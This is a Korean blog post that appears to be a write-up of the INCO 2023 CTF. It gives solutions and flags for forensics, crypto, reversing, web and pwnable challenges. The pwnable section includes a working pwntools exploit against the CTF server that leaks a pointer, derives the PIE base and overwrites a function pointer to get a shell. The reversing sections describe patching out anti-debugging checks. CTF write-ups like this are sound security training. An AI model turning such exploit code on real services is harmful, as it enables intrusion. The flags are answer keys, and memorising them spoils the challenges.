1. Mic Check
Flag : INCO{L3t's_G0!!}
2. Forensic
1) Bondee
주어진 jpg 파일에 비밀번호로 추정되는 문자열과 하단부에 PK 포맷 파일이 있다.
해당 비밀번호로 zip 파일 압축 해제하면 pdf 파일이 존재한다.
Ctrl + A 로 전체 선택해보면 하단에 안 보이는 글자가 있음을 알 수 있고, 이를 복사하여 확인하면 파이썬 코드가 나온다.
number_list = [73, 78, 67, 79, 123, 105, 110, 99, 111, 95, 115, 119, 108, 117, 103, 95, 50, 48, 50, 51, 125]
text_list = []
for i in range(len(number_list)):
text_list.append(chr(number_list[i]))
str = ''.join(text_list)
print("Flag= " + str)
Flag : INCO{inco_swlug_2023}
2) WOW
메모리 덤프 파일을 volatility로 분석하면 된다.
pslist로 WOW.exe 프로세스를 확인할 수 있었고 해당 프로세스의 메모리를 덤프뜬 후 문자열들을 확인해보면 플래그로 추정되는 문자열이 나온다.
Flag : INCO{m3m0ry_f0r3ns1c_1s_am4z1ng}
3) EZ_MemForensics
마찬가지로 volatilty로 프로세스를 확인해보면 FTK Imager, explorer 등등이 있고, 이들을 덤프 떠 문자열을 확인하거나 iehistory로 인터넷 기록을 확인해보면 FLAG.pdf 의 존재 유무를 알 수 있다.
이후 메모리 덤프에서 %PDF %%EOF 시그니쳐를 찾아 PDF를 뽑아내면 된다.
- volatility dumpfiles 플러그인이 안되어서 수작업으로 둘을 복사한 후 이어붙였다.
Flag : INCO{W3lc0mE_t0_th3_M3m0rY_F0r3nS1cs_w0r1D}
3. Crypto
1) I’M FINE THANK U, AND U?
ROT 19 의 마지막 문장을 이것 저것 decode 시켜보다 Affine Cipher decoder 에서 성공적으로 decode 할 수 있었다.
INCO{OMG_y0u_hav3_an_aff1n1ty_f0r_th3_aff1n3_c1ph3r}
4. Reversing
1) DoNotDebug
처음에는 Debugger 가 있으면 종료시키고, Debugger가 다시 없어져야 플래그가 제대로 나오는 프로그램을 준다.
디버거가 없는지 검사하는 부분을 모두 NOP로 패치시키고 실행하면 플래그가 나온다.
Flag : INCO{3ypassAntiCheat!!}
2) Stack Machine
vm = b''
with open('vm', 'rb') as f: vm = f.read()
ip = 0
sp = -1
mem = [0 for _ in range(4096)]
constants = []
operands = []
isConstantTime = False
isOperandTime = False
while True:
op = vm[ip]
ip += 1
if op == 41:
print(f'mem[++sp] = { int.from_bytes(vm[ip:ip+8],"little") }')
if not isConstantTime:
isOperandTime = False
constants.append([])
constants[-1].append(int.from_bytes(vm[ip:ip+8],"little"))
isConstantTime = True
#mem[sp + 1] = int.from_bytes(vm[ip:ip+8],'little')
ip += 8
sp += 1
elif op == 48:
print(f'mem[sp - 1] = mem[sp] != mem[sp - 1]')
#mem[sp - 1] = mem[sp] != mem[sp - 1]
sp -= 1
elif op == 54:
print(f'putchar(mem[sp])')
#print(chr(mem[sp]),end='')
sp -= 1
elif op == 161:
print(f'EXIT { int.from_bytes(vm[ip:ip+8],"little") }')
print('EXIT', int.from_bytes(vm[ip:ip+8],'little'))
break
elif op == 184 or op == 202:
if not isOperandTime:
isConstantTime = False
operands.append([])
operands[-1].append("+" if op == 184 else "^")
isOperandTime = True
print(f'mem[sp - 1] { "+" if op == 184 else "^"}= mem[sp]')
#mem[sp - 1] += mem[sp]
sp -= 1
#mem[sp - 1] ^= mem[sp]
elif op == 213:
print(f'JMP { ip + int.from_bytes(vm[ip:ip+8],"little") } if mem[sp--]')
#if mem[sp]:
# ip += int.from_bytes(vm[ip:ip+8], 'little')
ip += 8
sp -= 1
elif op == 219:
isConstantTime = False
print(f'mem[++sp] = getchar()')
#mem[sp + 1] = input()[0]
sp += 1
result = []
for i in range(len(operands)):
tmp = constants[-1][i]
for c, o in zip(constants[-2-i], reversed(operands[-i-1])):
#print(tmp, operands[-i-1][j],constants[-2-i][j],end=' ')
if o == '+':
tmp -= c
else:
tmp ^= c
tmp &= 0xff
result.append(tmp)
result.reverse()
print(result)
print(bytes(result).decode())
위와 같이 한글자 한글자 입력받을 때마다 특정 상수들과 + ^ 연산을 해준 뒤에
마지막에 특정 상수와 비교하는 구조임을 확인할 수 있다.
각 글자마다 상수와 연산을 저장해둔 뒤에, 비교하는 상수와 거꾸로 연산하여(+ 는 -, ^ 는 ^) 역산해주면 답이 나온다.
ex : ((((x + A) ^ B) ^ C) + D) == E, x = ((((E - D) ^ C) ^ B) - A)
Flag : INCO{94a7d6671aab2c62db0760e639c5217781030e2f}
3) NAND
길이는 40글자에 아래 글자들만 입력해야 한다.
이후 한글자 한글자 연산을 한 후 0이 아니면 통과하는 구문이 이어진다.
한 글자당 가능한 경우가 37가지밖에 되지 않고, 각 자리의 글자가 독립적으로 연산을 거치고 검사하기 때문에 한글자씩 브포때릴 수 있다.
Flag : y34h_3v3ry_op3ra7ion_w1th_on1y_nand_0v0_
5. Web
1) Crawl
1 부터 700까지 중에 진또배기를 찾아야한다.
Flag : INCO{It_1s_F1Ag_tHank_yOu3}
6. Pwnable
1) MZ Protocol
function pointer LEAK -> get PIE base -> overwrite function pointer
from pwn import process, p64, remote
#context.log_level = 'debug'
#p = process('./mz_protocol')
p = remote('ctf.incognito.kr', 10001)
packet2 = b'MZ'
packet2 += b'\x00\x0a'
packet2 += b'A' * (32 - len(packet2))
p.sendafter(b': ', packet2)
p.send(b'\x77' + b'\x00' * 9)
p.sendlineafter(b':', b'0')
p.recvuntil(b'ptr+0x0038')
leak = int(p.recvuntil(b'|\n').decode().split('|')[2],16)
p.recvuntil(b'ptr+0x0040')
leak2 = int(p.recvuntil(b'|\n').decode().split('|')[2],16)
pie = leak2 - 0x18a2
packet = b'MZ'
packet += b'\x00\x50'
packet += b'A' * (32 - len(packet))
p.sendafter(b': ', packet)
p.send(b'\x00' * 50 + b'\x01' + b'\x00' * 5 + p64(leak) + p64(pie + 0x143e))
p.sendlineafter(b':', b'1')
p.interactive()
Flag : INCO{real_re@l_r3al_re4l_r341_fl4g!}
'CTF Writeup' 카테고리의 다른 글
2023 Codegate UNIV division writeup (0) | 2023.06.18 |
---|---|
Defcon 2023 Qualifier - kkkkklik writeup (0) | 2023.05.31 |
2023 ACSC CTF Writeup - warmup + ngo (0) | 2023.02.26 |
2022 Iris CTF (0) | 2023.01.08 |
Dreamhack Christmas CTF 2022 Writeup (1) | 2022.12.24 |